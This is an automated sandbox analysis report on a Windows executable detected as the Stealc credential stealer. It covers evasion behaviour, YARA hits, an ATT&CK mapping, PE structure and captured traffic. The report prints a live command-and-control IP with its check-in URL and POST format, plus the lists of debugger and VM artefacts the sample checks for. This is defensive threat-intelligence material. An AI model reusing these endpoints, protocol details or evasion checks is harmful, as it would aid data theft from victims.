Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7DE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00B7DE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7BE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00B7BE70

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B71160 GetSystemInfo,ExitProcess,

0_2_00B71160

Source: file.exe, file.exe, 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.1485394788.0000000000961000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1485394788.0000000000995000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000002.1485394788.000000000091E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: file.exe, 00000000.00000002.1485394788.000000000091E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwarev
Source: file.exe, 00000000.00000002.1485394788.0000000000995000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW?
Source: file.exe, 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13810
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13813
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13828
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13863
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13824

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B745C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00B745C0

Source: C:\Users\user\Desktop\file.exe

0_2_00B89860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B89750 mov eax, dword ptr fs:[00000030h]

0_2_00B89750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B878E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00B878E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 1212, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B89600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00B89600

Source: file.exe, file.exe, 00000000.00000002.1485733803.0000000000F52000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: %*Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00B87B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B87980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00B87980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B87850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00B87850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00B87A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00B87A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1485394788.000000000091E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1445038311.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1212, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.b70000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1485394788.000000000091E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1445038311.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1212, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpN	file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37o	file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpB	file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e	file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1485394788.000000000091E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpv	file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37(	file.exe, 00000000.00000002.1485394788.000000000091E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpZ	file.exe, 00000000.00000002.1485394788.000000000097A000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524978
Start date and time:	2024-10-03 14:47:03 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 8s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 88
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947124810092633
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'870'848 bytes
MD5:	0c648c4dfca774a2f1d5204ac06ac5e0
SHA1:	0a095f75ca3115203ccee6f839e284ee6bb361d2
SHA256:	c942c65b0db11adce8f7bded91a98d91e9c236a47cab99ea49d89acdb020c734
SHA512:	ceadaf5756c9a6dae716bd90e3617867299e9fc066441d1ccd488f632cf2874200457a3444befb863dbb4a90c8029790a2e9cb49b99270675cf765f1814382b8
SSDEEP:	49152:TC95AamAlPHS4kPYpo+n1EPhpl6xI0SsA:29pRHRkD+Gp87Y
TLSH:	79853374A9E9A4B2DC9D4D78D8F0871D36A222458EAA1724C518F27E1C3C67DFF2CC49
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa8000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FB95924B64Ah
punpckhdq mm3, qword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FB95924D645h
add byte ptr [ebx], cl
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+0Ah], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	d6c28ec4e5663db5eda01c271ecc8c68	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2a6000	0x200	7f730211bf16579e65607a2c2c3d2738	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vsethdti	0x504000	0x1a3000	0x1a2800	c32e42a715033bef2f5dad4f27cb03b7	False	0.9948937565337514	data	7.953545786264284	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ypmwblrh	0x6a7000	0x1000	0x600	dfa8492b9d4c77a21e52d05c1c703126	False	0.552734375	data	4.866178838614331	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a8000	0x3000	0x2200	551408a43224efdf482d0b555b2720e2	False	0.07697610294117647	DOS executable (COM)	1.0141209618416407	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-03T14:48:04.999687+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.8	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 3, 2024 14:48:03.919291973 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 3, 2024 14:48:03.953511953 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 3, 2024 14:48:03.953628063 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 3, 2024 14:48:03.953809977 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 3, 2024 14:48:04.002850056 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 3, 2024 14:48:04.748445034 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 3, 2024 14:48:04.748589993 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 3, 2024 14:48:04.751244068 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 3, 2024 14:48:04.757786036 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 3, 2024 14:48:04.999599934 CEST	80	49704	185.215.113.37	192.168.2.8
Oct 3, 2024 14:48:04.999686956 CEST	49704	80	192.168.2.8	185.215.113.37
Oct 3, 2024 14:48:07.249784946 CEST	49704	80	192.168.2.8	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49704	185.215.113.37	80	1212	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 3, 2024 14:48:03.953809977 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 3, 2024 14:48:04.748445034 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 12:48:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 3, 2024 14:48:04.751244068 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKFIDHDGIEGCAKFIIJKF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 38 38 37 41 32 37 32 31 42 39 35 31 31 31 37 33 38 38 33 36 35 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 46 2d 2d 0d 0a Data Ascii: ------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="hwid"3887A2721B951117388365------AKFIDHDGIEGCAKFIIJKFContent-Disposition: form-data; name="build"doma------AKFIDHDGIEGCAKFIIJKF--
Oct 3, 2024 14:48:04.999599934 CEST	210	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 12:48:04 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	08:48:00
Start date:	03/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xb70000
File size:	1'870'848 bytes
MD5 hash:	0C648C4DFCA774A2F1D5204AC06AC5E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1485597816.0000000000B71000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1485394788.000000000091E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1445038311.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00B89860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75550000,009306D8), ref: 00B898A1
GetProcAddress.KERNEL32(75550000,009306A8), ref: 00B898BA
GetProcAddress.KERNEL32(75550000,009306C0), ref: 00B898D2
GetProcAddress.KERNEL32(75550000,009306F0), ref: 00B898EA
GetProcAddress.KERNEL32(75550000,009307B0), ref: 00B89903
GetProcAddress.KERNEL32(75550000,00938890), ref: 00B8991B
GetProcAddress.KERNEL32(75550000,00926600), ref: 00B89933
GetProcAddress.KERNEL32(75550000,009264C0), ref: 00B8994C
GetProcAddress.KERNEL32(75550000,00930558), ref: 00B89964
GetProcAddress.KERNEL32(75550000,00930708), ref: 00B8997C
GetProcAddress.KERNEL32(75550000,00930840), ref: 00B89995
GetProcAddress.KERNEL32(75550000,00930720), ref: 00B899AD
GetProcAddress.KERNEL32(75550000,009262E0), ref: 00B899C5
GetProcAddress.KERNEL32(75550000,00930768), ref: 00B899DE
GetProcAddress.KERNEL32(75550000,009307C8), ref: 00B899F6
GetProcAddress.KERNEL32(75550000,009264E0), ref: 00B89A0E
GetProcAddress.KERNEL32(75550000,00930798), ref: 00B89A27
GetProcAddress.KERNEL32(75550000,00930870), ref: 00B89A3F
GetProcAddress.KERNEL32(75550000,00926640), ref: 00B89A57
GetProcAddress.KERNEL32(75550000,00930888), ref: 00B89A70
GetProcAddress.KERNEL32(75550000,009265E0), ref: 00B89A88
LoadLibraryA.KERNEL32(00930918,?,00B86A00), ref: 00B89A9A
LoadLibraryA.KERNEL32(00930858,?,00B86A00), ref: 00B89AAB
LoadLibraryA.KERNEL32(009308D0,?,00B86A00), ref: 00B89ABD
LoadLibraryA.KERNEL32(009308B8,?,00B86A00), ref: 00B89ACF
LoadLibraryA.KERNEL32(009308A0,?,00B86A00), ref: 00B89AE0
GetProcAddress.KERNEL32(75670000,009308E8), ref: 00B89B02
GetProcAddress.KERNEL32(75750000,00930900), ref: 00B89B23
GetProcAddress.KERNEL32(75750000,00938C40), ref: 00B89B3B
GetProcAddress.KERNEL32(76BE0000,00938EC8), ref: 00B89B5D
